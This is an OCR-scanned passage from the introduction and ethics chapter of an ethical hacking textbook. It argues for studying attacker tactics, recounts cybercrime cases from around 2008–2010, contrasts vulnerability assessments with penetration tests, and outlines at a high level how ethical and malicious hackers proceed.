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INTRODUCTION

I have seen enough of one war never to wish to see another.
—Thomas Jefferson

I know not with what weapons World War I1I will be fought, but World War IV will be
fought with sticks and stones.
—Albert Einstein

The art of war is simple enough. Find out where your enemy is. Get at him as soon as you
can. Strike him as hard as you can, and keep moving on.
—Ulysses S. Grant

The goal of this book is to help produce more highly skilled security professionals
who are dedicated to protecting against malicious hacking activity. It has been proven
over and over again that it is important to understand one’s enemies, including their
tactics, skills, tools, and motivations. Corporations and nations have enemies that are
very dedicated and talented. We must work together to understand the enemies’ pro-
cesses and procedures to ensure that we can properly thwart their destructive and mali-
cious behavior.

The authors of this book want to provide the readers with something we believe the
industry needs: a holistic review of ethical hacking that is responsible and truly ethical
in its intentions and material. This is why we are starting this book with a clear defini-
tion of what ethical hacking is and is not—something society is very confused about.

We have updated the material from the first and second editions and have attempted
to deliver the most comprehensive and up-to-date assembly of techniques, procedures,
and material. Nine new chapters are presented and the other chapters have been
updated.

In Part I of this book we lay down the groundwork of the necessary ethics and ex-
pectations of a gray hat hacker. This section:

e Clears up the confusion about white, black, and gray hat definitions and
characteristics

e Reviews the slippery ethical issues that should be understood before carrying
out any type of ethical hacking activities

e Reviews vulnerability discovery reporting challenges and the models that can
be used to deal with those challenges

e Surveys legal issues surrounding hacking and many other types of malicious
activities

e Walks through proper vulnerability discovery processes and current models
that provide direction

In Part II, we introduce more advanced penetration methods and tools that no other
books cover today. Many existing books cover the same old tools and methods that have
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been rehashed numerous times, but we have chosen to go deeper into the advanced mech-
anisms that real gray hats use today. We discuss the following topics in this section:

e Automated penetration testing methods and advanced tools used to carry out
these activities
e The latest tools used for penetration testing
e Physical, social engineering, and insider attacks
In Part II1, we dive right into the underlying code and teach the reader how specific

components of every operating system and application work, and how they can be ex-
ploited. We cover the following topics in this section:

e Program Coding 101 to introduce you to the concepts you will need to
understand for the rest of the sections
e How to exploit stack operations and identify and write buffer overflows

e How to identify advanced Linux and Windows vulnerabilities and how they
are exploited

e How to create different types of shellcode to develop your own proof-of-
concept exploits and necessary software to test and identify vulnerabilities

e The latest types of attacks, including client-based, web server, VoIP, and
SCADA attacks

In Part IV, we go even deeper, by examining the most advanced topics in ethical
hacking that many security professionals today do not understand. In this section, we
examine the following:

e Passive and active analysis tools and methods

* How to identify vulnerabilities in source code and binary files

e How to reverse-engineer software and disassemble the components
e Fuzzing and debugging techniques

e Mitigation steps of patching binary and source code

In Part V, we have provided a section on malware analysis. At some time or another,
the ethical hacker will come across a piece of malware and may need to perform basic
analysis. In this section, you will learn about the following topics:

e Collection of your own malware specimen
® Analysis of malware, including a discussion of de-obfuscation techniques

If you are ready to take the next step to advance and deepen your understanding of
ethical hacking, this is the book for you.

We're interested in your thoughts and comments. Please send us an e-mail at
book@grayhathackingbook.com. Also, for additional technical information and re-

sources related to this book and ethical hacking, browse to www.grayhathackingbook
.com or www.mhprofessional.com/product.php?cat=112&isbn=0071742557.
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Ethics of Ethical Hacking

This book has not been compiled and written to be used as a tool by individuals who
wish to carry out malicious and destructive activities. It is a tool for people who are
interested in extending or perfecting their skills to defend against such attacks and dam-
aging acts. In this chapter, we'll discuss the following topics:

e Why you need to understand your enemy’s tactics

® Recognizing the gray areas in security

e How does this stuff relate to an ethical hacking book?
e The controversy of hacking books and classes

e Where do attackers have most of their fun?

Why You Need to Understand
Your Enemy’s Tactics

Let’s go ahead and get the commonly asked questions out of the way and move on from
there.

Was this book written to teach today's hackers how to cause damage in more effective ways?
Answer: No. Next question.

Then why in the world would you try to teach people how to cause destruction and mayhem?
Answer: You cannot properly protect yourself from threats you do not understand.
The goal is to identify and prevent destruction and mayhem, not cause it.

I don't believe you. I think these books are only written for profits and royalties.

Answer: This book was written to actually teach security professionals what the
bad guys already know and are doing. More royalties would be nice, too, so please
buy two copies.

Still not convinced? Why do militaries all over the world study their enemies’ tac-
tics, tools, strategies, technologies, and so forth? Because the more you know about
what your enemy is up to, the better idea you have as to what protection mechanisms
you need to put into place to defend yourself.
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Most countries’ militaries carry out various scenario-based fighting exercises. For ex-
ample, pilot units split up into the “good guys” and the “bad guys.” The bad guys use the
same tactics, techniques, and methods of fighting as a specific enemy—Libya, Russia,
United States, Germany, North Korea, and so on. The goal of these exercises is to allow
the pilots to understand enemy attack patterns and to identify and be prepared for cer-
tain offensive actions, so they can properly react in the correct defensive manner.

This may seem like a large leap—from pilots practicing for wartime to corporations
trying to practice proper information security—but it is all about what the team is try-
ing to protect and the risks involved.

A military is trying to protect its nation and its assets. Many governments around
the world have also come to understand that the same assets they have spent millions
and perhaps billions of dollars to protect physically now face different types of threats.
The tanks, planes, and weaponry still have to be protected from being blown up, but
these same tanks, planes, and weaponry are now all run by and are dependent upon
software. This software can be hacked into, compromised, or corrupted. Coordinates of
where bombs are to be dropped can be changed. Individual military bases still need to
be protected by surveillance and military police; this is physical security. Satellites and
airplanes perform surveillance to watch for suspicious activities taking place from afar,
and security police monitor the entry points in and out of the base. These types of con-
trols are limited in monitoring all of the entry points into a military base. Because the
base is so dependent upon technology and software—as every organization is today—
and there are now so many communication channels present (Internet, extranets, wire-
less, leased lines, shared WAN lines, and so on), a different type of “security police” is
required to cover and monitor all of these entry points into and out of the base.

Okay, so your corporation does not hold top security information about the tactical
military troop movement through Afghanistan, you don’t have the speculative coordi-
nates of the location of bin Laden, and you are not protecting the launch codes of nu-
clear bombs—does that mean you do not need to have the same concerns and
countermeasures? Nope. Just as the military needs to protect its assets, you need to
protect yours.

An interesting aspect of the hacker community is that it is changing. Over the last
few years, their motivation has changed from just the thrill of figuring out how to ex-
ploit vulnerabilities to figuring out how to make revenue from their actions and getting
paid for their skills. Hackers who were out to “have fun” without any real target in mind
have, to a great extent, been replaced by people who are serious about gaining financial
benefits from their activities. Attacks are not only getting more specific, but also in-
creasing in sophistication. The following are just a few examples of this type of trend:

¢ One of three Indian defendants was sentenced in September 2008 for an
online brokerage hack, called one of the first federal prosecutions of a “hack,
pump, and dump” scheme, in which hackers penetrate online brokerage
accounts, buy large shares of penny stocks to inflate the price, and then net
the profits after selling shares.

e In December 2009, a Russian hacking group called the Russian Business
Network (BSN) stole tens of millions of dollars from Citibank through the
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use of a piece of malware called “Black Energy.” According to Symantec, about
half of all phishing incidents in 2008 were credited to the RBN.

e A group of Russian, Estonian, and Moldovan hackers were indicted in
November 2009, after stealing more than $9 million from a credit card
processor in one day. The hackers were alleged to have broken the encryption
scheme used at Royal Bank of Scotland’s payment processor, and then they
raised account limits, created and distributed counterfeit debit cards, and
withdrew roughly $9.4 million from more than 2,100 ATMs worldwide—in
less than 12 hours.

e Hackers using a new kind of malware made off with at least 300,000 Euros
from German banks in August of 2009. The malware wrote new bank
statements as it took money from victims’ bank accounts, changing HTML
coding on an infected machine before a user could see it.

Criminals are also using online scams in a bid to steal donations made to help
those affected by the January 2010 earthquake in Haiti and other similar disasters.
Fraudsters have set up fictitious websites or are falsely using the names of genuine
charities to trick donors into sending them donations. If you can think of the crime, it
is probably already taking place within the digital world. You can learn more about
these types of crimes at www.cybercrime.gov.

Malware is still one of the main culprits that costs companies the most amount of
money. An interesting thing about malware is that many people seem to put it in a dif-
ferent category from hacking and intrusions. The fact is malware has evolved to become
one of the most sophisticated and automated forms of hacking. The attacker only has
to put some upfront effort into developing the software, and then with no more effort
required from the attacker, the malware can do its damage over and over again. The
commands and logic within the malware are the same components that attackers used
to have to carry out manually.

Sadly, many of us have a false sense of security when it comes to malware detection.
In 2006, Australia’s CERT announced that 80 percent of antivirus software products
commonly missed new malware attacks because attackers test their malware software
against the most popular antivirus software products in the industry to hide from detec-
tion. If you compare this type of statistic with the amount of malware that hits the In-
ternet hourly, you can get a sense of the level of vulnerability we are actually faced with.
In 2008, Symantec had to write new virus signatures every 20 seconds to keep up with
the onslaught of malware that was released. This increased to every 8 seconds by 2009.
As of this writing, close to 4 million malware signatures are required for antivirus soft-
ware to be up to date.

The company Alinean has put together the cost estimates, per minute, for different
organizations if their operations are interrupted. Even if an attack or compromise is not
totally successful for the attacker (he or she does not obtain the desired asset), this in
no way means that the company remains unharmed. Many times attacks and intrusions
cause more of a nuisance and can negatively affect production and the normal depart-
ment operations, which always correlates to costing the company more money in direct
or indirect ways. These costs are shown in Table 1-1.
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Business Application Estimated Outage Cost per Minute
Supply chain management $11,000
E-commerce $10,000
Customer service $3,700
ATM/POS/EFT $3,500
Financial management $1,500
Human capital management $1,000
Messaging $1,000
Infrastructure $700
Table I-1 Downtime Losses (Source:Alinean)

A conservative estimate from Gartner pegs the average hourly cost of downtime for
computer networks at $42,000. A company that suffers from worse than average down-
time of 175 hours a year can lose more than $7 million per year. Even when attacks are
not newsworthy enough to be reported on TV or talked about in security industry cir-
cles, they still negatively affect companies’ bottom lines.

As stated earlier, an interesting shift has taken place in the hacker community, from
joy riding to hacking as an occupation. Today, potentially millions of computers are
infected with bots that are controlled by specific hackers. If a hacker has infected 10,000
systems, this is her botnet, and she can use it to carry out DDoS attacks or even lease
these systems to others who do not want their activities linked to their true identities or
systems. (Botnets are commonly used to spread spam, phishing attacks, and pornogra-
phy.) The hacker who owns and runs a botnet is referred to as a bot herder. Since more
network administrators have configured their mail relays properly and blacklists have
been employed to block mail relays that are open, spammers have had to change tactics
(using botnets), which the hacking community has been more than willing to pro-
vide—for a price.

For example, the Zeus bot variant uses key-logging techniques to steal sensitive data
such as usernames, passwords, account numbers, and credit card numbers. It injects
fake HTML forms into online banking login pages to steal user data. Its botnet is esti-
mated to consist of 3.6 million compromised computers. Zeus's creators are linked to
about $100 million in fraud in 2009 alone. Another botnet, the Koobface, is one of the
most efficient social engineering-driven botnets to date. It spreads via social network-
ing sites MySpace and Facebook with faked messages or comments from “friends.”
When a user clicks a provided link to view a video, the user is prompted to obtain a
necessary software update, like a CODEC—but the update is really malware that can
take control of the computer. By early 2010, 2.9 million computers have knowingly
been compromised. Of course, today many more computers have been compromised
than has been reported.
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Security Compromises and Trends
The following are a few specific examples and trends of security compromises
that are taking place today:

¢ A massive joint operation between U.S. and Egyptian law enforcement,
called “Operation Phish Pry,” netted 100 accused defendants. The two-
year investigation led to the October 2009 indictment of both American
and Egyptian hackers who allegedly worked in both countries to hack
into American bank systems, after using phishing lures to collect
individual bank account information.

e Social networking site Twitter was the target of several attacks in 2009,
one of which shut service down for more than 30 million users. The
DoS attack that shut the site down also interrupted access to Facebook
and LinkedIn, affecting approximately 300 million users in total.

e Attackers maintaining the Zeus botnet broke into Amazon'’s EC2
cloud computing service in December 2009, even after Amazon’s
service had received praise for its safety and performance. The virus
that was used acquired authentication credentials from an infected
computer, accessed one of the websites hosted on an Amazon server,
and connected to the Amazon cloud to install a command and control
infrastructure on the client grid. The high-performance platform let the
virus quickly broadcast commands across the network.

e In December 2009, a hacker posted an online-banking phishing
application in the open source, mobile phone operating system
Android. The fake software showed up in the application store, used
by a variety of phone companies, including Google’s Nexus One
phone. Once users downloaded the software, they entered personal
information into the application, which was designed to look like it
came from specific credit unions.

¢ [raqi insurgents intercepted live video feeds from U.S. Predator drones
in 2008 and 2009. Shiite fighters attacked some nonsecure links in
drone systems, allowing them to see where U.S. surveillance was taking
place and other military operations. It is reported that the hackers used
cheap software available online to break into the drones’ systems.

e In early 2010, Google announced it was considering pulling its search
engine from China, in part because of rampant China-based hacker
attacks, which used malware and phishing to penetrate the Gmail
accounts of human rights activists.
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Some hackers also create and sell zero-day attacks. A zero-day attack is one for which
there is currently no fix available and whoever is running the particular software that
contains that exploitable vulnerability is exposed with little or no protection. The code
for these types of attacks are advertised on special websites and sold to other hackers or
organized crime rings.
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Recognizing the Gray Areas in Security

Since technology can be used by the good and bad guys, there is always a fine line that
separates the two. For example, BitTorrent is a peer-to-peer file sharing protocol that al-
lows individuals all over the world to share files whether they are the legal owners or
not. One website will have the metadata of the files that are being offered up, but in-
stead of the files being available on that site’s web farm, the files are located on the
user’s system who is offering up the files. This distributed approach ensures that one
web server farm is not overwhelmed with file requests, but it also makes it harder to
track down those who are offering up illegal material.

Various publishers and owners of copyrighted material have used legal means to
persuade sites that maintain such material to honor the copyrights. The fine line is that
sites that use the BitTorrent protocol are like windows for all the material others are
offering to the world; they don’t actually host this material on their physical servers. So
are they legally responsible for offering and spreading illegal content?

The entities that offer up files to be shared on a peer-to-peer sharing site are referred
to as BitTorrent trackers. Organizations such as Suprnova.org, TorrentSpy, LokiTorrent,
and Mininova are some of the BitTorrent trackers that have been sued and brought off-
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line for their illegal distribution of copyrighted material. The problem is that many of
these entities just pop up on some other BitTorrent site a few days later. BitTorrent is a
common example of a technology that can be used for good and evil purposes.

Another common gray area in web-based technology is search engine optimization
(SEO). Today, all organizations and individuals want to be at the top of each search
engine result to get as much exposure as possible. Many simple to sophisticated ways
are available for carrying out the necessary tasks to climb to the top. The proper meth-
ods are to release metadata that directly relates to content on your site, update your
content regularly, and create legal links and backlinks to other sites, etc. But, for every
legitimate way of working with search engine algorithms, there are ten illegitimate
ways. Spamdexing offers a long list of ways to fool search engines into getting a specific
site up the ladder in a search engine listing. Then there’s keyword stuffing, in which a
malicious hacker or “black hat” will place hidden text within a page. For example, if
Bob has a website that carries out a phishing attack, he might insert hidden text within
his page that targets elderly people to help drive these types of victims to his site.

There are scraper sites that take (scrape) content from another website without au-
thorization. The malicious site will make this stolen content unique enough that it
shows up as new content on the Web, thus fooling the search engine into giving it a
higher ranking. These sites commonly contain mostly advertisements and links back to
the original sites.

There are several other ways of manipulating search engine algorithms as well, for
instance, creating link farms, hidden links, fake blogs, page hijacking, and so on. The
crux here is that some of these activities are the right way of doing things and some of
them are the wrong way of doing things. Our laws have not necessarily caught up with
defining what is legal and illegal all the way down to SEO algorithm activities.

NOTE We go into laws and legal issues pertaining to various hacking
activities in Chapter 2.

There are multiple instances of the controversial concept of hactivism. Both legal
and illegal methods can be used to portray political ideology. Is it right to try and influ-
ence social change through the use of technology? Is web defacement covered under
freedom of speech? Is it wrong to carry out a virtual “sit in” on a site that provides il-
legal content? During the 2009 Iran elections, was it unethical for an individual to set
up a site that showed upheaval about the potential corrupt government elections?
When Israeli invaded Gaza, there were many website defacements, DoS attacks, and
website highjackings. The claim of what is ethical versus not ethical probably depends
upon which side the individuals making these calls reside.
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How Does This Stuff Relate to an
Ethical Hacking Book?

Corporations and individuals need to understand how the damage is being done so
they understand how to stop it. Corporations also need to understand the extent of the
threat that a vulnerability represents. Let’s take a very simplistic example. The company
FalseSenseOfSecurity, Inc., may allow its employees to share directories, files, and whole
hard drives. This is done so that others can quickly and easily access data as needed. The
company may understand that this practice could possibly put the files and systems at
risk, but they only allow employees to have unclassified files on their computers, so the
company is not overly concerned. The real security threat, which is something that
should be uncovered by an ethical hacker, is if an attacker can use this file-sharing ser-
vice as access into a computer itself. Once this computer is compromised, the attacker
will most likely plant a backdoor and work on accessing another, more critical system
via the compromised system.

The vast amount of functionality that is provided by an organization’s networking,
database, and desktop software can be used against them. Within each and every orga-
nization, there is the all-too-familiar battle of functionality vs. security. This is the rea-
son that, in most environments, the security officer is not the most well-liked
individual in the company. Security officers are in charge of ensuring the overall secu-
rity of the environment, which usually means reducing or shutting off many function-
alities that users love. Telling people that they cannot access social media sites, open
attachments, use applets or JavaScript via e-mail, or plug in their mobile devices to a
network-connected system and making them attend security awareness training does
not usually get you invited to the Friday night get-togethers at the bar. Instead, these
people are often called “Security Nazi” or “Mr. No” behind their backs. They are re-
sponsible for the balance between functionality and security within the company, and
it is a hard job.

The ethical hacker’s job is to find these things running on systems and networks,
and he needs to have the skill set to know how an enemy would use these things against
the organization. This work is referred to as a penetration test, which is different from
a vulnerability assessment, which we'll discuss first.

Vulnerability Assessment

A vulnerability assessment is usually carried out by a network scanner on steroids. Some
type of automated scanning product is used to probe the ports and services on a range
of IP addresses. Most of these products can also test for the type of operating system
and application software running and the versions, patch levels, user accounts, and
services that are also running. These findings are matched up with correlating vulnera-
bilities in the product’s database. The end result is a large pile of reports that provides a
list of each system’s vulnerabilities and corresponding countermeasures to mitigate the
associated risks. Basically, the tool states, “Here is a list of your vulnerabilities and here
is a list of things you need to do to fix them.”
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To the novice, this sounds like an open and shut case and an easy stroll into net-
work utopia where all of the scary entities can be kept out. This false utopia, unfortu-
nately, is created by not understanding the complexity of information security. The
problem with just depending upon this large pile of printouts is that it was generated
by an automated tool that has a hard time putting its findings into the proper context
of the given environment. For example, several of these tools provide an alert of “High”
for vulnerabilities that do not have a highly probable threat associated with them. The
tools also cannot understand how a small, seemingly insignificant, vulnerability can be
used in a large orchestrated attack.

Vulnerability assessments are great for identifying the foundational security issues
within an environment, but many times, it takes an ethical hacker to really test and
qualify the level of risk specific vulnerabilities pose.

Penetration Testing

A penetration test is when ethical hackers do their magic. They can test many of the vul-
nerabilities identified during the vulnerability assessment to quantify the actual threat
and risk posed by the vulnerability.

When ethical hackers are carrying out a penetration test, their ultimate goal is usu-
ally to break into a system and hop from system to system until they “own” the domain
or environment. They own the domain or environment when they either have root
privileges on the most critical Unix or Linux system or own the domain administrator
account that can access and control all of the resources on the network. They do this to
show the customer (company) what an actual attacker can do under the circumstances
and current security posture of the network.

Many times, while the ethical hacker is carrying out her procedures to gain total
control of the network, she will pick up significant trophies along the way. These tro-
phies can include the CEO’s passwords, company trade-secret documentation, admin-
istrative passwords to all border routers, documents marked “confidential” held on the
CFO’s and CIO's laptops, or the combination to the company vault. The reason these
trophies are collected along the way is so the decision makers understand the ramifica-
tions of these vulnerabilities. A security professional can go on for hours to the CEO,
CIO, or COO about services, open ports, misconfigurations, and hacker potential with-
out making a point that this audience would understand or care about. But as soon as
you show the CFO his next year’s projections, or show the CIO all of the blueprints to
the next year’s product line, or tell the CEO that his password is “JAmWearingPanties,”
they will all want to learn more about the importance of a firewall and other counter-
measures that should be put into place.

CAUTION No security professional should ever try to embarrass a customer
or make them feel inadequate for their lack of security. This is why the security
professional has been invited into the environment. He is a guest and is there
to help solve the problem, not point fingers.Also, in most cases, any sensitive
data should not be read by the penetration team because of the possibilities
of future lawsuits pertaining to the use of confidential information.
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The goal of a vulnerability test is to provide a listing of all of the vulnerabilities
within a network. The goal of a penetration test is to show the company how these
vulnerabilities can be used against it by attackers. From here, the security professional
(ethical hacker) provides advice on the necessary countermeasures that should be im-
plemented to reduce the threats of these vulnerabilities individually and collectively. In
this book, we will cover advanced vulnerability tools and methods as well as sophisti-
cated penetration techniques. Then we'll dig into the programming code to show you
how skilled attackers identify vulnerabilities and develop new tools to exploit their
findings.

Let’s take a look at the ethical penetration testing process and see how it differs from
that of unethical hacker activities.

The Penetration Testing Process

1. Form two or three teams:

® Red team—The attack team

e White team—Network administration, the victim

® Blue team—Management coordinating and overseeing the test (optional)
2. Establish the ground rules:

e Testing objectives

e What to attack, what is hands-off

e Who knows what about the other team (Are both teams aware of the other?
Is the testing single blind or double blind?)

e Start and stop dates
e Legal issues
e Just because a client asks for it, doesn’t mean that it’s legal.

e The ethical hacker must know the relevant local, state, and federal laws
and how they pertain to testing procedures.

¢ Confidentiality/Nondisclosure
¢ Reporting requirements

e Formalized approval and written agreement with signatures and contact
information

e Keep this document handy during the testing. It may be needed as a
“get out of jail free” card

Penetration Testing Activities

3. Passive scanning Gather as much information about the target as possible
while maintaining zero contact between the penetration tester and the target.
Passive scanning can include interrogating:
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e The company’s website and source code
e Social networking sites

e Whois database

e Edgar database

o Newsgroups

e ARIN, RIPE, APNIC, LACNIC databases
e Google, Monster.com, etc.

e Dumpster diving

. Active scanning Probe the target’s public exposure with scanning tools,
which might include:

e Commercial scanning tools
e Banner grabbing

e Social engineering

e War dialing

e DNS zone transfers

e Sniffing traffic

e Wireless war driving

. Attack surface enumeration Probe the target network to identify,
enumerate, and document each exposed device:

e Network mapping

e Router and switch locations

e Perimeter firewalls

e LAN, MAN, and WAN connections

. Fingerprinting Perform a thorough probe of the target systems to identify:
e QOperating system type and patch level

e Applications and patch level

e Open ports

¢ Running services

e User accounts

7. Target system selection Identify the most useful target(s).

8. Exploiting the uncovered vulnerabilities Execute the appropriate attack

tools targeted at the suspected exposures.
¢ Some may not work.
e Some may kill services or even kill the server.

e Some may be successful.
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9. Escalation of privilege Escalate the security context so the ethical hacker has
more control.

¢ Gaining root or administrative rights
e Using cracked password for unauthorized access
e Carrying out buffer overflow to gain local versus remote control

10. Documentation and reporting Document everything found, how it was
found, the tools that were used, vulnerabilities that were exploited, the
timeline of activities, and successes, etc.

NOTE A more detailed approach to penetration methodology is presented
in Chapter 5.

What Would an Unethical Hacker Do Differently?

1. Target selection
® Motivations would be due to a grudge or for fun or profit.

e There are no ground rules, no hands-off targets, and the white team is
definitely blind to the upcoming attack.

2. Intermediaries

e The attacker launches his attack from a different system (intermediary) than
his own to make tracking back to him more difficult in case the attack is
detected.

e There may be several layers of intermediaries between the attacker and the
victim.
¢ Intermediaries are often victims of the attacker as well.

3. Next the attacker will proceed with penetration testing steps described
previously.

e Passive scanning
e Active scanning
¢ Footprinting
e Target system selection
¢ Fingerprinting
e Exploiting the uncovered vulnerabilities
e Escalation of privilege
4. Preserving access

e This involves uploading and installing a rootkit, backdoor, Trojan’ed
applications, and/or bots to assure that the attacker can regain access at
a later time.
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5. Covering his tracks
e Scrubbing event and audit logs
e Hiding uploaded files

e Hiding the active processes that allow the attacker to regain access

e Disabling messages to security software and system logs to hide malicious
processes and actions

6. Hardening the system

e After taking ownership of a system, an attacker may fix the open
vulnerabilities so no other attacker can use the system for other purposes.

How the attacker uses the compromised systems depends upon what his overall
goals are, which could include stealing sensitive information, redirecting financial
transactions, adding the systems to his bot network, extorting a company, etc.

The crux is that ethical and unethical hackers carry out basically the same activities
only with different intentions. If the ethical hacker does not identify the hole in the
defenses first, the unethical hacker will surely slip in and make himself at home.

The Controversy of Hacking Books and Classes

When books on hacking first came out, a big controversy arose pertaining to whether
this was the right thing to do or not. One side said that such books only increased
the attackers’ skills and techniques and created new attackers. The other side stated
that the attackers already had these skills, and these books were written to bring the
security professionals and networking individuals up to speed. Who was right? They
both were.

The word “hacking” is sexy, exciting, seemingly seedy, and usually brings about
thoughts of complex technical activities, sophisticated crimes, and a look into the face
of electronic danger itself. Although some computer crimes may take on some of these
aspects, in reality it is not this grand or romantic. A computer is just a new tool to carry
out old crimes.

Attackers are only one component of information security. Unfortunately, when
most people think of security, their minds go right to packets, firewalls, and hackers.
Security is a much larger and more complex beast than these technical items. Real secu-
rity includes policies and procedures, liabilities and laws, human behavior patterns,
corporate security programs and implementation, and yes, the technical aspects—fire-
walls, intrusion detection systems, proxies, encryption, antivirus software, hacks, cracks,
and attacks.

Understanding how different types of hacking tools are used and how certain at-
tacks are carried out is just one piece of the puzzle. But like all pieces of a puzzle, it is a
very important one. For example, if a network administrator implements a packet filter-
ing firewall and sets up the necessary configurations, he may feel the company is now
safe and sound. He has configured his access control lists to allow only “established”
traffic into the network. This means an outside source cannot send a SYN packet to
initiate communication with an inside system. If the administrator does not realize that
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there are tools that allow for ACK packets to be generated and sent, he is only seeing
part of the picture here. This lack of knowledge and experience allows for a false sense
of security, which seems to be pretty common in companies around the world today.

Let’s look at another example. A network engineer configures a firewall to review
only the first fragment of a packet and not the packet fragments that follow. The engi-
neer knows that this type of “cut through” configuration will increase network perfor-
mance. But if she is not aware that there are tools that can create fragments with
dangerous payloads, she could be allowing in malicious traffic. Once these fragments
reach the inside destination system and are reassembled, the packet can be put back
together and initiate an attack.

In addition, if a company’s employees are not aware of social engineering attacks
and how damaging they can be, they may happily give out useful information to attack-
ers. This information is then used to generate even more powerful and dangerous at-
tacks against the company. Knowledge and the implementation of knowledge are the
keys for any real security to be accomplished.

So where do we stand on hacking books and hacking classes? Directly on top of a
slippery banana peel. There are currently three prongs to the problem of today’s hack-
ing classes and books. First, marketing people love to use the word “hacking” instead of
more meaningful and responsible labels such as “penetration methodology.” This
means that too many things fall under the umbrella of hacking. All of these procedures
now take on the negative connotation that the word “hacking” has come to be associ-
ated with. Second is the educational piece of the difference between hacking and ethi-
cal hacking, and the necessity of ethical hacking (penetration testing) in the security
industry. The third issue has to do with the irresponsibility of many hacking books and
classes. If these items are really being developed to help out the good guys, then they
should be developed and structured to do more than just show how to exploit a vulner-
ability. These educational components should show the necessary countermeasures
required to fight against these types of attacks and how to implement preventive mea-
sures to help ensure these vulnerabilities are not exploited. Many books and courses
tout the message of being a resource for the white hat and security professional. If you
are writing a book or curriculum for black hats, then just admit it. You will make just as
much (or more) money, and you will help eliminate the confusion between the con-
cepts of hacking and ethical hacking.

The Dual Nature of Tools

In most instances, the toolset used by malicious attackers is the same toolset used by
security professionals. A lot of people do not seem to understand this. In fact, the
books, classes, articles, websites, and seminars on hacking could be legitimately re-
named to “security professional toolset education.” The problem is that marketing
people like to use the word “hacking” because it draws more attention and paying cus-
tomers.

As covered earlier, ethical hackers go through the same processes and procedures as
unethical hackers, so it only makes sense that they use the same basic toolset. It would
not be useful to prove that attackers could not get through the security barriers with
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Tool A if attackers do not use Tool A. The ethical hacker has to know what the bad guys
are using, know the new exploits that are out in the underground, and continually keep
her skills and knowledgebase up to date. Why? Because the odds are against the com-
pany and against the security professional. The security professional has to identify and
address all of the vulnerabilities in an environment. The attacker only has to be really
good at one or two exploits, or really lucky. A comparison can be made to the U.S.
Homeland Security responsibilities. The CIA and FBI are responsible for protecting the
nation from the 10 million things terrorists could possibly think up and carry out. The
terrorist only has to be successful at one of these 10 million things.

How Are These Tools Used for Good Instead of Evil?

How would a company’s networking staff ensure that all of the employees are creating
complex passwords that meet the company’s password policy? They can set operating
system configurations to make sure the passwords are of a certain length, contain up-
per- and lowercase letters, contain numeric values, and keep a password history. But
these configurations cannot check for dictionary words or calculate how much protec-
tion is being provided from brute-force attacks. So the team can use a hacking tool to
carry out dictionary and brute-force attacks on individual passwords to actually test
their strength, as illustrated in Figure 1-1. The other choice is to go to each and every
employee and ask what his or her password is, write down the password, and eyeball it
to determine if it is good enough. Not a good alternative.
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Figure I-1 Password cracking software
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NOTE A company’s security policy should state that this type of password-
testing activity is allowed by the IT staff and security team. Breaking employees’
passwords could be seen as intrusive and wrong if management does not
acknowledge and allow for such activities to take place. Make sure you get
permission before you undertake this type of activity.

The same network staff needs to make sure that their firewall and router configura-
tions will actually provide the protection level that the company requires. They could
read the manuals, make the configuration changes, implement ACLs, and then go and
get some coffee. Or they could implement the configurations and then run tests against
these settings to see if they are allowing malicious traffic into what they thought was a
controlled environment. These tests often require the use of hacking tools. The tools
carry out different types of attacks, which allow the team to see how the perimeter de-
vices will react in certain circumstances.

Nothing should be trusted until it is tested. There is an amazing number of cases
where a company does everything seemingly correct when it comes to their infrastruc-
ture security. They implement policies and procedures, roll out firewalls, IDS, and anti-
virus, have all of their employees attend security awareness training, and continually
patch their systems. It is unfortunate that these companies put forth all the right effort
and funds only to end up on CNN as the latest victim because all of their customers’
credit card numbers were stolen and posted on the Internet. And this can happen if
they do not carry out the necessary vulnerability and penetration tests.

Recognizing Trouble When It Happens

Network administrators, engineers, and security professionals need to be able to recog-
nize when an attack is underway or when one is about to take place. It may seem as
though recognizing an attack as it is happening should be easy. This is only true for the
very “noisy” or overwhelming attacks such as denial-of-service (DoS) attacks. Many at-
tackers fly under the radar and go unnoticed by security devices and staff members. It
is important to know how different types of attacks take place so they can be properly
recognized and stopped.

Security issues and compromises are not going to go away any time soon. People
who work in positions within corporations that touch security in any way should not
try to ignore it or treat security as though it is an island unto itself. The bad guys know
that to hurt an enemy is to take out what that victim depends upon most. Today the
world is only becoming more dependent upon technology, not less. Even though ap-
plication development and network and system configuration and maintenance are
complex, security is only going to become more entwined with them. When a network
staff has a certain level of understanding of security issues and how different compro-
mises take place, they can act more effectively and efficiently when the “all hands on
deck” alarm is sounded.

It is also important to know when an attack may be around the corner. If network
staff is educated on attacker techniques and they see a ping sweep followed a day later
by a port scan, they will know that most likely in three hours their systems will be at-
tacked. There are many activities that lead up to different attacks, so understanding
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these items will help the company protect itself. The argument can be made that we
have more automated security products that identify these types of activities so that we
don’t have to see them coming. But depending upon software that does not have the
ability to put the activities in the necessary context and make a decision is very danger-
ous. Computers can outperform any human on calculations and performing repetitive
tasks, but we still have the ability to make some necessary judgment calls because we
understand the grays in life and do not just see things in 1s and Os.

So it is important to understand that hacking tools are really just software tools that
carry out some specific type of procedure to achieve a desired result. The tools can be
used for good (defensive) purposes or for bad (offensive) purposes. The good and the
bad guys use the same exact toolset; the difference is their intent when operating these
utilities. It is imperative for the security professional to understand how to use these
tools and how attacks are carried out if he is going to be of any use to his customer and
to the industry.

Emulating the Attack

Once network administrators, engineers, and security professionals understand how
attackers work, then they can emulate their activities to carry out a useful penetration
test. But why would anyone want to emulate an attack? Because this is the only way to
truly test an environment’s security level—you must know how it will react when a real
attack is being carried out.

This book is laid out to walk you through these different steps so you can under-
stand how many types of attacks take place. It can help you develop methodologies for
emulating similar activities to test your company’s security posture.

There are already many elementary ethical hacking books available in every book-
store. The demand for these books and hacking courses over the years has reflected the
interest and the need in the market. It is also obvious that, although some people are
just entering this sector, many individuals are ready to move on to the more advanced
topic of ethical hacking. The goal of this book is to go through some of the basic ethical
hacking concepts quickly and then spend more time with the concepts that are not
readily available to you, but are unbelievably important.

Just in case you choose to use the information in this book for unintended pur-
poses (malicious activity), in the next chapters, we will also walk through several fed-
eral laws that have been put into place to scare you away from this activity. A wide range
of computer crimes are taken seriously by today’s court system, and attackers are receiv-
ing hefty fines and jail sentences for their activities. Don't let that be you. There is just
as much fun and intellectual stimulation to be had working as a white hat—and no
threat of jail time!

Where Do Attackers Have Most of Their Fun?

Hacking into a system and environment is almost always carried out by exploiting vulner-
abilities in software. Only recently has the light started to shine on the root of the prob-
lem of successful attacks and exploits, which is flaws within software code. Most attack
methods described in this book can be carried out because of errors in the software.
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It is not fair to put all of the blame on the programmers, because they have done
exactly what their employers and market have asked them to: quickly build applica-
